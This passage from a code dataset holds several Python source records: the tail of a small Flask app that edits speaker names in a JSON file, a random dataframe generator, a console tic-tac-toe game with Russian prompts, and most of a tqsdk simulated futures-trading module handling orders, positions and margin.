range(0,len(joe_aws)):\n\n\tfor i in range(0,len(joe_aws)):\n\t    print(joe_aws[i]['speaker'])\n\t    \n\t    if joe_aws[i]['speaker']==old_data:\n\t        joe_aws[i]['speaker']=new_data\n\t        print(\"data update sucess...\")\n\t        break\n\n\n\tjson_object = json.dumps(joe_aws) \n\n\twith open(\"./static/sample.json\", \"w\") as outfile: \n\t    outfile.write(json_object) \n\n\n\tsend_data = {\"data1\":new_data,\"data2\":new_data,\"sucess\":True}\n\treturn make_response(jsonify(send_data), 200)\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n\tapp.run(debug=True,host='localhost')","sub_path":"transcription/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"478427888","text":"# generator.py\n\n# load libraries\nimport numpy as np\nimport pandas as pd\n\n'''\nvar= np.round(np.random.normal(distribution mean, \nstandard deviation, number of samples), \nnumber of digits after the decimal point)\n\n\n# .5 is prob dist of 0 and 1\nlabel = np.random.choice([0, 1], size=7000, p=[.5, .5]) \n\n\n'''\n\nclass Generator():\n    def __init__(self):\n        self.name = \"gemerata\"\n\n\n\n\n    def get_dataframe(self, datag):\n        '''\n\n        '''\n\n        mean = datag['mean']\n        stdev = datag['stdev']\n        samples = datag['samples']\n        decimals = datag['decimals']\n        \n        nn = datag['number_of_numerical_features']\n        nc = datag['number_of_categorical_features']\n\n        ncats = datag['number_of_categories']\n        \n        \n        df = pd.DataFrame()\n\n        numerical_feature_names = [\"NumericFeature \" + str(x) for x in range(1,nn+1)]\n        categorical_feature_names = [\"CategoricFeature \" + str(x) for x in range(1,nc+1)]\n\n\n        for i in range(nn):\n            numerical_feature_name = numerical_feature_names[i]\n            df[numerical_feature_name] = self.get_numeric_data(mean, stdev, samples, decimals)\n        \n        for i in range(nc):\n            categorical_feature_name = categorical_feature_names[i]\n            df[categorical_feature_name] = self.get_categorical_data(ncats, \n                                                                    categorical_feature_name,\n                                                                    samples)\n\n\n        return df\n        \n    def get_numeric_data(self, mean, stdev, samples, decimals):\n        return np.round(np.random.normal(mean, stdev, samples), decimals)\n\n    def get_categorical_data(self, ncats, feature_name, samples):\n\n        distribution = np.random.dirichlet(np.ones(ncats), size=samples)\n        cats = [feature_name + \" Cateogry \" + str(x) for x in range(1,ncats+1)]\n        \n        return np.random.choice(a=cats, size=samples, p=distribution[0])\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"581350099","text":"def create_field():\n    field = []\n    for i in range(3):\n        field.append(['*'] * 3)\n    return field\ndef print_field(field):\n    for i in range(3):\n        for j in range(3):\n            print(field[i][j], end='')\n        print()\ndef win(field):\n    for i in range(3):\n        if field[i][0] != '*' and field[i][0] == field[i][1] == field[i][2]:\n            return True\n    for i in range(3):\n        if field[0][i] != '*' and field[0][i] == field[1][i] == field[2][i]:\n                return True    \n    if field[0][0] == field[1][1] == field[2][2] and field[0][0] != '*':\n        return True\n    if field[0][2] != '*' and field[0][2] == field[1][1] == field[2][2]:\n        return True\n    return False\n\ndef end_game(field):\n    if win(field):\n        return True\n    for i in range(3):\n        for j in range(3):\n            if field[i][j] == '*':\n                return False\n    return True\ndef is_valid(field):\n    while True:\n        print('Введите номер строки и номер столбца')\n        row = int(input())\n        column = int(input())\n        n = [1, 2, 3]\n        if row not in n or column not in n:\n            print('Неверный номер строки(1-3) или толбца(1-3)')\n        elif field[row - 1][column - 1] != '*':\n            print('Данная ячейка занята')\n        else:\n            break\n    return row, column\ndef new_game():\n    field = create_field()\n    current_symbol = 'X'\n\n    while not end_game(field):\n        print_field(field)\n        print('Ходит', current_symbol)\n        flag = 0\n\n        row, column = is_valid(field)\n\n        field[row - 1][column - 1] = current_symbol\n\n        if current_symbol == 'X':\n            current_symbol = 'O'\n        else:\n            current_symbol = 'X'\n    print_field(field)\n    if current_symbol == 'X':\n        print('Ура! Победил: O')\n    else:\n        print('Ура! Победил: X')\n    print('Сыграем ещё? (Да/Нет)')\n    answer = input()\n    if answer == 'Да':\n        new_game()\nnew_game()","sub_path":"work_16_3.py","file_name":"work_16_3.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"383542596","text":"#!/usr/bin/env python\n#  -*- coding: utf-8 -*-\n__author__ = 'mayanqiong'\n\nimport math\nfrom datetime import datetime\nfrom typing import Callable\n\nfrom tqsdk.datetime import _is_in_trading_time\nfrom tqsdk.diff import _simple_merge_diff\nfrom tqsdk.sim.utils import _get_price_range, _get_option_margin, _get_premium, _get_close_profit, _get_commission, \\\n    _get_future_margin\n\n\nclass SimTrade(object):\n    \"\"\"\n    天勤模拟交易账户，处理 orderbook 和撮合交易\n\n    计算账户资金、持仓信息\n\n    本模块为 TqSim 交易部分的子模块，纯同步计算，不涉及连接行情的动态信息，所以对于接口的调用有一些需要注意的要求\n\n    提供的接口:\n\n    + init_snapshot: 返回初始的账户截面信息\n\n    + insert_order: 处理下单请求，调用 TqSimAccount.insert_order 之前应该调用过 update_quote，保证收到过合约的行情；期权还应该确保收到了标的的行情\n\n    + cancel_order：处理撤单请求\n\n    + update_quote：处理行情更新\n\n        返回值 diffs\n\n            diffs 是 list 类型，每个元素都是符合 diff 协议中 trade 交易部分的数据包，且返回的都是完整字段的对象，比如：order成交时，返回的是order完整对象而不是有变化的字段\n\n    + settle：处理结算请求\n\n        返回值 diffs, trade_log\n\n            diffs 同上，trade_log 是结算前的账户日志信息\n\n    \"\"\"\n\n    def __init__(self, account_key: str, init_balance: float = 10000000.0, get_trade_timestamp: Callable = None,\n                 is_in_trading_time: Callable = None) -> None:\n        self._account_key = account_key\n        self._quotes = {}  # 会记录所有的发来的行情\n\n        self._account = {\n            \"currency\": \"CNY\",\n            \"pre_balance\": init_balance,\n            \"static_balance\": init_balance,\n            \"balance\": init_balance,\n            \"available\": init_balance,\n            \"float_profit\": 0.0,\n            \"position_profit\": 0.0,  # 期权没有持仓盈亏\n            \"close_profit\": 0.0,\n            \"frozen_margin\": 0.0,\n            \"margin\": 0.0,\n            \"frozen_commission\": 0.0,\n            \"commission\": 0.0,\n            \"frozen_premium\": 0.0,\n            \"premium\": 0.0,\n            \"deposit\": 0.0,\n            \"withdraw\": 0.0,\n            \"risk_ratio\": 0.0,\n            \"market_value\": 0.0,\n            \"ctp_balance\": float(\"nan\"),\n            \"ctp_available\": float(\"nan\")\n        }\n        self._positions = {}  # {symbol: position, ...}\n        self._orders = {}  # {symbol: {order_id: order}, ...}\n        self._trades = []  # list 类型，与重构之前代码保持一致，list 可以保留 trade 生产的顺序信息\n\n        self._diffs = []\n        self._orders_events = []  # 按照顺序记录 order 的更新，返回给调用方\n\n        self._max_datetime = \"\"  # 所有 quotes 的最大行情更新时间\n        # 本模块在计算成交时间、判断是否在交易时间段内，默认使用所有 quotes 的最大行情更新时间当作当前时间，并且没有模拟到交易时的时间差\n        # 若外部调用模块需要更精确时间，则由外部模块提供函数支持\n        self._get_trade_timestamp = get_trade_timestamp if get_trade_timestamp else self._default_get_trade_timestamp\n        self._is_in_trading_time = is_in_trading_time if is_in_trading_time else self._default_is_in_trading_time\n\n    def insert_order(self, symbol, pack):\n        quote, underlying_quote = self._get_quotes_by_symbol(symbol)\n\n        order = self._pre_insert_order(pack)\n        orders = self._orders.setdefault(symbol, {})\n        orders[order[\"order_id\"]] = order  # order 存入全局\n        self._orders_events.append(order.copy())\n\n        self._insert_order(order, symbol, quote, underlying_quote)\n        if order[\"status\"] == \"ALIVE\":\n            self._match_order(order, symbol, quote, underlying_quote)\n        if order[\"status\"] == \"FINISHED\":\n            self._orders_events.append(order)\n            del self._orders[symbol][order[\"order_id\"]]  # 删除 order\n        return self._return_results()\n\n    def cancel_order(self, symbol, pack):\n        order = self._orders.get(symbol, {}).get(pack[\"order_id\"], {})\n        if order.get(\"status\") == \"ALIVE\":\n            order[\"last_msg\"] = \"已撤单\"\n            order[\"status\"] = \"FINISHED\"\n            self._on_order_failed(symbol, order)\n            self._orders_events.append(order)\n            del self._orders[symbol][order[\"order_id\"]]  # 删除 order\n        return self._return_results()\n\n    def update_quotes(self, symbol, pack):\n        for q in pack.get(\"quotes\", {}).values():\n            self._max_datetime = max(q.get(\"datetime\", \"\"), self._max_datetime)\n        _simple_merge_diff(self._quotes, pack.get(\"quotes\", {}), reduce_diff=False)\n\n        quote, underlying_quote = self._get_quotes_by_symbol(symbol)\n        # 某些非交易时间段，ticks 回测是 quote 的最新价有可能是 nan，无效的行情直接跳过\n        if math.isnan(quote[\"last_price\"]):\n            return [], []\n\n        # 撮合委托单\n        orders = self._orders.get(symbol, {})\n        for order_id in list(orders.keys()):  # match_order 过程中可能会删除 orders 下对象\n            self._match_order(orders[order_id], symbol, quote, underlying_quote)\n            if orders[order_id][\"status\"] == \"FINISHED\":\n                self._orders_events.append(orders[order_id])\n                del self._orders[symbol][order_id]\n\n        # 调整持仓保证金和盈亏\n        position = self._ensure_position(symbol)\n        underlying_last_price = underlying_quote[\"last_price\"] if underlying_quote else float('nan')\n        future_margin = _get_future_margin(quote)\n        if position[\"volume_long\"] > 0 or position[\"volume_short\"] > 0:\n            if position[\"last_price\"] != quote[\"last_price\"] \\\n                    or (math.isnan(future_margin) or future_margin != position[\"future_margin\"])\\\n                    or (underlying_quote and (math.isnan(underlying_last_price) or underlying_last_price != position[\"underlying_last_price\"])):\n                self._adjust_position_account(symbol, quote, underlying_quote,\n                                              pre_last_price=position[\"last_price\"],\n                                              last_price=quote[\"last_price\"],\n                                              pre_underlying_last_price=position[\"underlying_last_price\"],\n                                              underlying_last_price=underlying_last_price)\n                position[\"future_margin\"] = future_margin\n                position[\"last_price\"] = quote[\"last_price\"]\n                position[\"underlying_last_price\"] = underlying_last_price\n        else:\n            # 修改辅助变量\n            position[\"future_margin\"] = future_margin\n            position[\"last_price\"] = quote[\"last_price\"]\n            position[\"underlying_last_price\"] = underlying_last_price\n        self._send_position(position)  # 一定要返回 position，下游会用到 future_margin 字段判断修改保证金是否成功\n        self._send_account()\n        return self._return_results()\n\n    def settle(self):\n        trade_log = {\n            \"trades\": self._trades,\n            \"account\": self._account.copy(),\n            \"positions\": {k: v.copy() for k, v in self._positions.items()}\n        }\n\n        # 为下一交易日调整账户\n        self._trades = []\n\n        for symbol in self._orders:\n            for order in self._orders[symbol].values():\n                order[\"frozen_margin\"] = 0.0\n                order[\"frozen_premium\"] = 0.0\n                order[\"last_msg\"] = \"交易日结束，自动撤销当日有效的委托单（GFD）\"\n                order[\"status\"] = \"FINISHED\"\n                self._orders_events.append(order)\n                self._send_order(order)\n            self._orders[symbol] = {}\n\n        # account 原始字段\n        self._account[\"pre_balance\"] = self._account[\"balance\"] - self._account[\"market_value\"]\n        self._account[\"close_profit\"] = 0.0\n        self._account[\"commission\"] = 0.0\n        self._account[\"premium\"] = 0.0\n        self._account[\"frozen_margin\"] = 0.0\n        self._account[\"frozen_premium\"] = 0.0\n        # account 计算字段\n        self._account[\"static_balance\"] = self._account[\"pre_balance\"]\n        self._account[\"position_profit\"] = 0.0\n        self._account[\"risk_ratio\"] = self._account[\"margin\"] / self._account[\"balance\"]\n        self._account[\"available\"] = self._account[\"static_balance\"] - self._account[\"margin\"]\n        # 根据公式 账户权益 不需要计算 self._account[\"balance\"] = static_balance + market_value\n        self._send_account()\n\n        # 对于持仓的结算放在这里，没有放在 quote_handler 里的原因：\n        # 1. 异步发送的话，会造成如果此时 sim 未收到 pending_peek, 就没法把结算的账户信息发送出去，此时用户代码中 api.get_postion 得到的持仓和 sim 里面的持仓是不一致的\n        # set_target_pos 下单时就会产生错单。而且结算时一定是已经收到过行情的数据包，在同步代码的最后一步，会发送出去这个行情包 peeding_peek，\n        # quote_handler 处理 settle 的时候, 所以在结算的时候 pending_peek 一定是 False, 要 api 处理过之后，才会收到 peek_message\n        # 2. 同步发送的话，就可以和产生切换交易日的数据包同时发送出去\n        # 对 order 的处理发生在下一次回复 peek_message\n        for position in self._positions.values():\n            # position 原始字段\n            position[\"volume_long_frozen_today\"] = 0\n            position[\"volume_long_frozen_his\"] = 0\n            position[\"volume_short_frozen_today\"] = 0\n            position[\"volume_short_frozen_his\"] = 0\n            position[\"volume_long_today\"] = 0\n            position[\"volume_long_his\"] = position[\"volume_long\"]\n            position[\"volume_short_today\"] = 0\n            position[\"volume_short_his\"] = position[\"volume_short\"]\n            # position 计算字段\n            position[\"pos_long_his\"] = position[\"volume_long_his\"]\n            position[\"pos_long_today\"] = 0\n            position[\"pos_short_his\"] = position[\"volume_short_his\"]\n            position[\"pos_short_today\"] = 0\n            position[\"volume_long_frozen\"] = 0\n            position[\"volume_short_frozen\"] = 0\n            position[\"position_price_long\"] = position[\"last_price\"]\n            position[\"position_price_short\"] = position[\"last_price\"]\n            quote, _ = self._get_quotes_by_symbol(f\"{position['exchange_id']}.{position['instrument_id']}\")\n            position[\"position_cost_long\"] = position[\"last_price\"] * position[\"volume_long\"] * quote[\"volume_multiple\"]  # position 原始字段\n            position[\"position_cost_short\"] = position[\"last_price\"] * position[\"volume_short\"] * quote[\"volume_multiple\"]  # position 原始字段\n            position[\"position_profit_long\"] = 0\n            position[\"position_profit_short\"] = 0\n            position[\"position_profit\"] = 0\n            self._send_position(position)\n        diffs, orders_events = self._return_results()\n        return diffs, orders_events, trade_log\n\n    def init_snapshot(self):\n        \"\"\"返回初始账户截面信息\"\"\"\n        return {\n            \"trade\": {\n                self._account_key: {\n                    \"accounts\": {\"CNY\": self._account.copy()},\n                    \"positions\": {},\n                    \"orders\": {},\n                    \"trades\": {}\n                }\n            }\n        }\n\n    def _return_results(self):\n        \"\"\"\n        返回两项内容：diffs: list, orders_events: list\n        diffs 是截面的变更\n        orders_events 是委托单变化\n        \"\"\"\n        diffs = self._diffs\n        self._diffs = []\n        orders_events = self._orders_events\n        self._orders_events = []\n        return diffs, orders_events\n\n    def _ensure_position(self, symbol):\n        position = self._positions.setdefault(symbol,  {\n            \"exchange_id\": symbol.split(\".\", maxsplit=1)[0],\n            \"instrument_id\": symbol.split(\".\", maxsplit=1)[1],\n            \"pos_long_his\": 0,\n            \"pos_long_today\": 0,\n            \"pos_short_his\": 0,\n            \"pos_short_today\": 0,\n            \"volume_long_today\": 0,\n            \"volume_long_his\": 0,\n            \"volume_long\": 0,\n            \"volume_long_frozen_today\": 0,\n            \"volume_long_frozen_his\": 0,\n            \"volume_long_frozen\": 0,\n            \"volume_short_today\": 0,\n            \"volume_short_his\": 0,\n            \"volume_short\": 0,\n            \"volume_short_frozen_today\": 0,\n            \"volume_short_frozen_his\": 0,\n            \"volume_short_frozen\": 0,\n            \"open_price_long\": float(\"nan\"),\n            \"open_price_short\": float(\"nan\"),\n            \"open_cost_long\": 0.0,\n            \"open_cost_short\": 0.0,\n            \"position_price_long\": float(\"nan\"),\n            \"position_price_short\": float(\"nan\"),\n            \"position_cost_long\": 0.0,\n            \"position_cost_short\": 0.0,\n            \"float_profit_long\": 0.0,\n            \"float_profit_short\": 0.0,\n            \"float_profit\": 0.0,\n            \"position_profit_long\": 0.0,\n            \"position_profit_short\": 0.0,\n            \"position_profit\": 0.0,\n            \"margin_long\": 0.0,\n            \"margin_short\": 0.0,\n            \"margin\": 0.0,\n            \"last_price\": float('nan'),\n            \"underlying_last_price\": float('nan'),\n            \"market_value_long\": 0.0,  # 权利方市值(始终 >= 0)\n            \"market_value_short\": 0.0,  # 义务方市值(始终 <= 0)\n            \"market_value\": 0.0,\n        })\n        if math.isnan(position[\"last_price\"]):\n            # 该持仓第一次添加，添加辅助计算字段，last_price underlying_last_price\n            quote, underlying_quote = self._get_quotes_by_symbol(symbol)\n            position[\"future_margin\"] = _get_future_margin(quote)\n            position[\"last_price\"] = quote[\"last_price\"]\n            position[\"underlying_last_price\"] = underlying_quote[\"last_price\"] if underlying_quote else float(\"nan\")\n        return position\n\n    def _get_quotes_by_symbol(self, symbol):\n        \"\"\"返回指定合约及标的合约，在本模块执行过程中，应该保证一定有合约行情\"\"\"\n        quote = self._quotes.get(symbol)\n        assert quote and quote.get(\"datetime\"), \"未收到指定合约行情\"\n        underlying_quote = None\n        if quote[\"ins_class\"].endswith(\"OPTION\"):\n            underlying_quote = self._quotes.get(quote[\"underlying_symbol\"])\n            assert underlying_quote and underlying_quote.get(\"datetime\"), \"未收到指定合约的标的行情\"\n        return quote, underlying_quote\n\n    def _pre_insert_order(self, pack):\n        \"\"\"order 对象预处理\"\"\"\n        order = pack.copy()\n        order[\"exchange_order_id\"] = order[\"order_id\"]\n        order[\"volume_orign\"] = order[\"volume\"]\n        order[\"volume_left\"] = order[\"volume\"]\n        order[\"frozen_margin\"] = 0.0\n        order[\"frozen_premium\"] = 0.0\n        order[\"last_msg\"] = \"报单成功\"\n        order[\"status\"] = \"ALIVE\"\n        order[\"insert_date_time\"] = self._get_trade_timestamp()\n        del order[\"aid\"]\n        del order[\"volume\"]\n        self._send_order(order)\n        return order\n\n    def _insert_order(self, order, symbol, quote, underlying_quote=None):\n        \"\"\"判断 order 是否可以记录在 orderbook\"\"\"\n        if (\"commission\" not in quote or \"margin\" not in quote) and not quote[\"ins_class\"].endswith(\"OPTION\"):\n            order[\"last_msg\"] = \"不支持的合约类型，TqSim 目前不支持组合，股票，etf期权模拟交易\"\n            order[\"status\"] = \"FINISHED\"\n\n        if order[\"status\"] == \"ALIVE\" and not self._is_in_trading_time(quote):\n            order[\"last_msg\"] = \"下单失败, 不在可交易时间段内\"\n            order[\"status\"] = \"FINISHED\"\n\n        position = self._ensure_position(symbol)\n        if order[\"status\"] == \"ALIVE\" and order[\"offset\"].startswith('CLOSE'):\n            if order[\"exchange_id\"] in [\"SHFE\", \"INE\"]:\n                if order[\"offset\"] == \"CLOSETODAY\":\n                    if order[\"direction\"] == \"BUY\" and position[\"volume_short_today\"] - position[\"volume_long_frozen_today\"] < order[\"volume_orign\"]:\n                        order[\"last_msg\"] = \"平今仓手数不足\"\n                    elif order[\"direction\"] == \"SELL\" and position[\"volume_long_today\"] - position[\"volume_long_frozen_today\"] < order[\"volume_orign\"]:\n                        order[\"last_msg\"] = \"平今仓手数不足\"\n                if order[\"offset\"] == \"CLOSE\":\n                    if order[\"direction\"] == \"BUY\" and position[\"volume_short_his\"] - position[\"volume_short_frozen_his\"] < order[\"volume_orign\"]:\n                        order[\"last_msg\"] = \"平昨仓手数不足\"\n                    elif order[\"direction\"] == \"SELL\" and position[\"volume_long_his\"] - position[\"volume_long_frozen_his\"] < order[\"volume_orign\"]:\n                        order[\"last_msg\"] = \"平昨仓手数不足\"\n            else:\n                if order[\"direction\"] == \"BUY\" and position[\"volume_short\"] - position[\"volume_short_frozen\"] < order[\"volume_orign\"]:\n                    order[\"last_msg\"] = \"平仓手数不足\"\n                elif order[\"direction\"] == \"SELL\" and position[\"volume_long\"] - position[\"volume_long_frozen\"] < order[\"volume_orign\"]:\n                    order[\"last_msg\"] = \"平仓手数不足\"\n            if order[\"last_msg\"].endswith(\"手数不足\"):\n                order[\"status\"] = \"FINISHED\"\n\n        if order[\"status\"] == \"ALIVE\" and order[\"offset\"] == \"OPEN\":\n            # 计算冻结保证金，冻结权利金\n            if quote[\"ins_class\"].endswith(\"OPTION\"):\n                if order[\"direction\"] == \"SELL\":  # 期权的SELL义务仓，开仓需要冻结保证金\n                    order[\"frozen_margin\"] = order[\"volume_orign\"] * _get_option_margin(quote, quote[\"last_price\"], underlying_quote[\"last_price\"])\n                else:  # 期权的BUY权利仓（市价单使用 last_price 计算需要冻结的权利金）\n                    price = quote[\"last_price\"] if order[\"price_type\"] == \"ANY\" else order[\"limit_price\"]\n                    order[\"frozen_premium\"] = order[\"volume_orign\"] * quote[\"volume_multiple\"] * price\n            else:\n                order[\"frozen_margin\"] = order[\"volume_orign\"] * _get_future_margin(quote)\n            if order[\"frozen_margin\"] + order[\"frozen_premium\"] > self._account[\"available\"]:\n                order[\"frozen_margin\"] = 0.0\n                order[\"frozen_premium\"] = 0.0\n                order[\"last_msg\"] = '开仓资金不足'\n                order[\"status\"] = \"FINISHED\"\n\n        if order[\"status\"] == \"FINISHED\":\n            self._send_order(order)\n\n        if order[\"status\"] == \"ALIVE\" and order[\"offset\"] == \"OPEN\":\n            # 修改 account 计算字段\n            self._adjust_account_by_order(frozen_margin=order[\"frozen_margin\"], frozen_premium=order[\"frozen_premium\"])\n            self._send_account()\n\n        if order[\"status\"] == 'ALIVE' and order[\"offset\"].startswith('CLOSE'):\n            # 修改 position 原始字段\n            if order[\"exchange_id\"] in [\"SHFE\", \"INE\"]:\n                if order[\"direction\"] == \"BUY\":\n                    position[f\"volume_short_frozen_{'today' if order['offset'] == 'CLOSETODAY' else 'his'}\"] += order[\"volume_orign\"]\n                else:\n                    position[f\"volume_long_frozen_{'today' if order['offset'] == 'CLOSETODAY' else 'his'}\"] += order[\"volume_orign\"]\n            elif order[\"direction\"] == \"BUY\":\n                volume_short_his_available = position[\"volume_short_his\"] - position[\"volume_short_frozen_his\"]\n                if volume_short_his_available < order[\"volume_orign\"]:\n                    position[\"volume_short_frozen_his\"] += volume_short_his_available\n                    position[\"volume_short_frozen_today\"] += order[\"volume_orign\"] - volume_short_his_available\n                else:\n                    position[\"volume_short_frozen_his\"] += order[\"volume_orign\"]\n            else:\n                volume_long_his_available = position[\"volume_long_his\"] - position[\"volume_long_frozen_his\"]\n                if volume_long_his_available < order[\"volume_orign\"]:\n                    position[\"volume_long_frozen_his\"] += volume_long_his_available\n                    position[\"volume_long_frozen_today\"] += order[\"volume_orign\"] - volume_long_his_available\n                else:\n                    position[\"volume_long_frozen_his\"] += order[\"volume_orign\"]\n            # 修改 position 计算字段\n            self._adjust_position_volume_frozen(position)\n            self._send_position(position)\n\n    def _match_order(self, order, symbol, quote, underlying_quote=None):\n        assert order[\"status\"] == \"ALIVE\"\n        ask_price, bid_price = _get_price_range(quote)\n        # order 预期成交价格\n        if order[\"price_type\"] in [\"ANY\", \"BEST\", \"FIVELEVEL\"]:\n            price = ask_price if order[\"direction\"] == \"BUY\" else bid_price\n        else:\n            price = order[\"limit_price\"]\n\n        if order[\"price_type\"] == \"ANY\" and math.isnan(price):\n            order[\"last_msg\"] = \"市价指令剩余撤销\"\n            order[\"status\"] = \"FINISHED\"\n\n        if order[\"time_condition\"] == \"IOC\":  # IOC 立即成交，限价下单且不能成交的价格，直接撤单\n            if order[\"direction\"] == \"BUY\" and price < ask_price or order[\"direction\"] == \"SELL\" and price > bid_price:\n                order[\"last_msg\"] = \"已撤单报单已提交\"\n                order[\"status\"] = \"FINISHED\"\n\n        if order[\"status\"] == \"FINISHED\":\n            self._on_order_failed(symbol, order)\n        elif order[\"direction\"] == \"BUY\" and price >= ask_price or order[\"direction\"] == \"SELL\" and price <= bid_price:\n            trade_id = order[\"order_id\"] + \"|\" + str(order[\"volume_left\"])\n            trade = {\n                \"user_id\": order[\"user_id\"],\n                \"order_id\": order[\"order_id\"],\n                \"trade_id\": trade_id,\n                \"exchange_trade_id\": order[\"order_id\"] + \"|\" + str(order[\"volume_left\"]),\n                \"exchange_id\": order[\"exchange_id\"],\n                \"instrument_id\": order[\"instrument_id\"],\n                \"direction\": order[\"direction\"],\n                \"offset\": order[\"offset\"],\n                \"price\": price,\n                \"volume\": order[\"volume_left\"],\n                \"trade_date_time\": self._get_trade_timestamp(),  # todo: 可能导致测试结果不确定\n                \"commission\": order[\"volume_left\"] * _get_commission(quote)\n            }\n            self._trades.append(trade)\n            self._send_trade(trade)\n            self._on_order_traded(order, trade, quote, underlying_quote)\n\n    def _on_order_traded(self, order, trade, quote, underlying_quote):\n        symbol = order[\"exchange_id\"] + \".\" + order[\"instrument_id\"]\n        origin_frozen_margin = order[\"frozen_margin\"]\n        origin_frozen_premium = order[\"frozen_premium\"]\n        order[\"frozen_margin\"] = 0.0\n        order[\"frozen_premium\"] = 0.0\n        order[\"volume_left\"] = 0\n        order[\"last_msg\"] = \"全部成交\"\n        order[\"status\"] = \"FINISHED\"\n        self._send_order(order)\n\n        position = self._ensure_position(symbol)\n        if order[\"offset\"] == 'OPEN':\n            if order[\"direction\"] == \"BUY\":\n                # 修改 position 原始字段\n                position[\"volume_long_today\"] += order[\"volume_orign\"]\n                position[\"open_cost_long\"] += trade[\"price\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 多头开仓成本\n                position[\"position_cost_long\"] += trade[\"price\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 多头持仓成本\n            else:\n                # 修改 position 原始字段\n                position[\"volume_short_today\"] += order[\"volume_orign\"]\n                position[\"open_cost_short\"] += trade[\"price\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 空头开仓成本\n                position[\"position_cost_short\"] += trade[\"price\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 空头持仓成本\n\n            # 由 order 变化，account 需要更新的计算字段\n            self._adjust_account_by_order(frozen_margin=-origin_frozen_margin, frozen_premium=-origin_frozen_premium)\n\n            # 由 trade 引起的 account 原始字段变化，account 需要更新的计算字段\n            premium = _get_premium(trade, quote)\n            self._adjust_account_by_trade(commission=trade[\"commission\"], premium=premium)\n\n            # 由 position 字段变化，同时 account 需要更新的计算字段\n            buy_open = order[\"volume_orign\"] if order[\"direction\"] == \"BUY\" else 0\n            sell_open = 0 if order[\"direction\"] == \"BUY\" else order[\"volume_orign\"]\n            self._adjust_position_account(symbol, quote, underlying_quote,\n                                          pre_last_price=trade[\"price\"],\n                                          last_price=position[\"last_price\"],\n                                          pre_underlying_last_price=underlying_quote[\"last_price\"] if underlying_quote else float('nan'),\n                                          underlying_last_price=position[\"underlying_last_price\"],\n                                          buy_open=buy_open, sell_open=sell_open)\n\n        else:  # order[\"offset\"].startswith('CLOSE')\n            # 修改 position 原始字段\n            if order[\"exchange_id\"] in [\"SHFE\", \"INE\"]:\n                if order[\"offset\"] == \"CLOSETODAY\":\n                    if order[\"direction\"] == \"BUY\":\n                        position[\"volume_short_frozen_today\"] -= order[\"volume_orign\"]\n                        position[\"volume_short_today\"] -= order[\"volume_orign\"]\n                    elif order[\"direction\"] == \"SELL\":\n                        position[\"volume_long_frozen_today\"] -= order[\"volume_orign\"]\n                        position[\"volume_long_today\"] -= order[\"volume_orign\"]\n                if order[\"offset\"] == \"CLOSE\":\n                    if order[\"direction\"] == \"BUY\":\n                        position[\"volume_short_frozen_his\"] -= order[\"volume_orign\"]\n                        position[\"volume_short_his\"] -= order[\"volume_orign\"]\n                    elif order[\"direction\"] == \"SELL\":\n                        position[\"volume_long_frozen_his\"] -= order[\"volume_orign\"]\n                        position[\"volume_long_his\"] -= order[\"volume_orign\"]\n            elif order[\"direction\"] == \"BUY\":\n                if position[\"volume_short_frozen_his\"] >= order[\"volume_orign\"]:\n                    position[\"volume_short_frozen_his\"] -= order[\"volume_orign\"]\n                    position[\"volume_short_his\"] -= order[\"volume_orign\"]\n                else:\n                    position[\"volume_short_frozen_today\"] -= order[\"volume_orign\"] - position[\"volume_short_frozen_his\"]\n                    position[\"volume_short_today\"] -= order[\"volume_orign\"] - position[\"volume_short_frozen_his\"]\n                    position[\"volume_short_his\"] -= position[\"volume_short_frozen_his\"]\n                    position[\"volume_short_frozen_his\"] = 0\n            else:\n                if position[\"volume_long_frozen_his\"] >= order[\"volume_orign\"]:\n                    position[\"volume_long_frozen_his\"] -= order[\"volume_orign\"]\n                    position[\"volume_long_his\"] -= order[\"volume_orign\"]\n                else:\n                    position[\"volume_long_frozen_today\"] -= order[\"volume_orign\"] - position[\"volume_long_frozen_his\"]\n                    position[\"volume_long_today\"] -= order[\"volume_orign\"] - position[\"volume_long_frozen_his\"]\n                    position[\"volume_long_his\"] -= position[\"volume_long_frozen_his\"]\n                    position[\"volume_long_frozen_his\"] = 0\n\n            # 修改 position 原始字段\n            if order[\"direction\"] == \"SELL\":\n                position[\"open_cost_long\"] -= position[\"open_price_long\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 多头开仓成本\n                position[\"position_cost_long\"] -= position[\"position_price_long\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 多头持仓成本\n            else:\n                position[\"open_cost_short\"] -= position[\"open_price_short\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 空头开仓成本\n                position[\"position_cost_short\"] -= position[\"position_price_short\"] * order[\"volume_orign\"] * quote[\"volume_multiple\"]  # 空头持仓成本\n\n            # 由 trade 引起的 account 原始字段变化，account 需要更新的计算字段\n            premium = _get_premium(trade, quote)\n            close_profit = _get_close_profit(trade, quote, position)\n            self._adjust_account_by_trade(commission=trade[\"commission\"], premium=premium, close_profit=close_profit)\n\n            # 由 position 字段变化，同时 account 需要更新的计算字段\n            buy_close = order[\"volume_orign\"] if order[\"direction\"] == \"BUY\" else 0\n            sell_close = 0 if order[\"direction\"] == \"BUY\" else order[\"volume_orign\"]\n            self._adjust_position_account(symbol, quote, underlying_quote, pre_last_price=position[\"last_price\"],\n                                          last_price=0, pre_underlying_last_price=position[\"underlying_last_price\"],\n                                          underlying_last_price=0, buy_close=buy_close, sell_close=sell_close)\n        self._send_position(position)\n        self._send_account()\n\n    def _on_order_failed(self, symbol, order):\n        origin_frozen_margin = order[\"frozen_margin\"]\n        origin_frozen_premium = order[\"frozen_premium\"]\n        order[\"frozen_margin\"] = 0.0\n        order[\"frozen_premium\"] = 0.0\n        self._send_order(order)\n\n        # 调整账户和持仓\n        if order[\"offset\"] == 'OPEN':\n            self._adjust_account_by_order(frozen_margin=-origin_frozen_margin, frozen_premium=-origin_frozen_premium)\n            